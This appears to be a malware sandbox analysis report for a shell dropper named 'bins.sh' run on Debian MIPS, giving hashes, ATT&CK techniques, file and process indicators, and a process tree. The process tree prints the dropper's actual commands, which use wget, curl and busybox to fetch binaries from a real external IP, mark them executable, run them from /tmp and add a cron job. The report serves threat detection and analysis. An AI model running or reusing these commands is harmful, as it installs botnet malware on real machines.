153cce658fb6ea541854485d0ffbd495ee25c697afb84aabd9ff0fe0fd2cf7f8

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_mips
resource
debian9-mipsbe-20240729-en
resource tags

arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
24-11-2024 02:16

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bins.sh
Size

10KB
MD5

448ff051a82dcd161179638ec585deea
SHA1

fa2e26de23af0dd677afb7523acf978f6e62a9dd
SHA256

153cce658fb6ea541854485d0ffbd495ee25c697afb84aabd9ff0fe0fd2cf7f8
SHA512

d7a3466e6a1a505b59a672575b3d59980ab776e8e7d6027b1a4fcfd6b3509a0ef4fb6897c8a51f9f541ef5d1f391c7a1bf0419af08b0073c2b45c2ba18d8e3ac
SSDEEP

192:6I4oP799p9CFoEToEzoExoEcoEgoEDNpVJnoEToEzoExoEcoEgoEkI4oP79U:l9p9CiE0EUEeEBElEJpVSE0EUEeEBElL

Score

9^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2151) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmod

pid	Process
741	chmod
835	chmod
843	chmod
854	chmod

Executes dropped EXE 4 IoCs

Processes:

mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtHET0Cy54tj54PHIty2fq33VJqHkMQKU8rwsyNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1

ioc	pid	Process
/tmp/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9	742	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
/tmp/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH	836	BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
/tmp/ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws	844	ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws
/tmp/yNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1	855	yNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1

Renames itself 1 IoCs

Processes:

mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9

pid	Process
743	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.dFh6ae	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9

description	ioc	Process
File opened for reading	/proc/935/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/77/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/839/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/1063/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/984/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/1045/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/921/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/1012/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/1013/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/773/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/815/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/1058/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/1062/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/811/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/822/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/791/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/12/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/78/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/874/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/1004/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/753/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/862/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/155/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/755/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/857/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/865/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/73/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/125/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/782/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/802/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/709/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/754/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/810/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/992/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/1032/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/1048/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/5/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/81/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/241/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/804/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/848/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/859/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/880/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/918/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/21/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/160/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/1007/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/1059/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/946/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/990/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/996/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/1034/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/1046/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/878/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/916/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/843/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/1018/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/75/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/761/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/948/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/1042/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/748/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/785/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
File opened for reading	/proc/680/cmdline	mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusyboxbusyboxbusyboxbusybox

description	ioc	Process
File opened for modification	/tmp/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9	wget
File opened for modification	/tmp/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9	curl
File opened for modification	/tmp/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9	busybox
File opened for modification	/tmp/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH	busybox
File opened for modification	/tmp/ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws	busybox
File opened for modification	/tmp/yNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:709
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:713
- /usr/bin/wget
  wget http://216.126.231.240/bins/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
  2⤵
  - Writes file to tmp directory
  PID:718
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
  2⤵
  - Writes file to tmp directory
  PID:737
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
  2⤵
  - Writes file to tmp directory
  PID:740
- /bin/chmod
  chmod 777 mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
  ./mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:742
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:744
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:745
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:746
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:747
- /bin/rm
  rm mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
  2⤵
  PID:751
- /usr/bin/wget
  wget http://216.126.231.240/bins/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
  2⤵
  PID:752
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
  2⤵
  PID:753
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
  2⤵
  - Writes file to tmp directory
  PID:834
- /bin/chmod
  chmod 777 BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
  2⤵
  - File and Directory Permissions Modification
  PID:835
- /tmp/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
  ./BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
  2⤵
  - Executes dropped EXE
  PID:836
- /bin/rm
  rm BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
  2⤵
  PID:838
- /usr/bin/wget
  wget http://216.126.231.240/bins/ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws
  2⤵
  PID:839
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws
  2⤵
  PID:840
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws
  2⤵
  - Writes file to tmp directory
  PID:841
- /bin/chmod
  chmod 777 ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws
  2⤵
  - File and Directory Permissions Modification
  PID:843
- /tmp/ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws
  ./ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws
  2⤵
  - Executes dropped EXE
  PID:844
- /bin/rm
  rm ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws
  2⤵
  PID:845
- /usr/bin/wget
  wget http://216.126.231.240/bins/yNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1
  2⤵
  PID:846
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/yNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1
  2⤵
  PID:847
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/yNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1
  2⤵
  - Writes file to tmp directory
  PID:848
- /bin/chmod
  chmod 777 yNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1
  2⤵
  - File and Directory Permissions Modification
  PID:854
- /tmp/yNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1
  ./yNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1
  2⤵
  - Executes dropped EXE
  PID:855
- /bin/rm
  rm yNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1
  2⤵
  PID:866
- /usr/bin/wget
  wget http://216.126.231.240/bins/fPAIhIRbXypFImgVEk1QdpWH2AURo0Ghih
  2⤵
  PID:871
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/fPAIhIRbXypFImgVEk1QdpWH2AURo0Ghih
  2⤵
  PID:874

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH

Filesize
111KB

MD5
701e7a55a4f3650f5feee92a9860e5fc

SHA1
6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

SHA256
ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

SHA512
7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

Download Submit
/tmp/ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/yNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/var/spool/cron/crontabs/tmp.dFh6ae

Filesize
210B

MD5
cd2535e9b737604fbc0f6d1f3be517d0

SHA1
a796417e4f9d4ba15d292c89846761bf01a82afd

SHA256
87f31abe81242a5f612102738841332a21bde2deff475471d00be46c74c874d8

SHA512
26a4ccc9f43b2e25654cdbf281e76d37718fd866cfc23acf2fb9f5b8fb9192b705971a647977262d0f250e784435536ebb6197ce67c97655ab03fa169f382fdc

Download Submit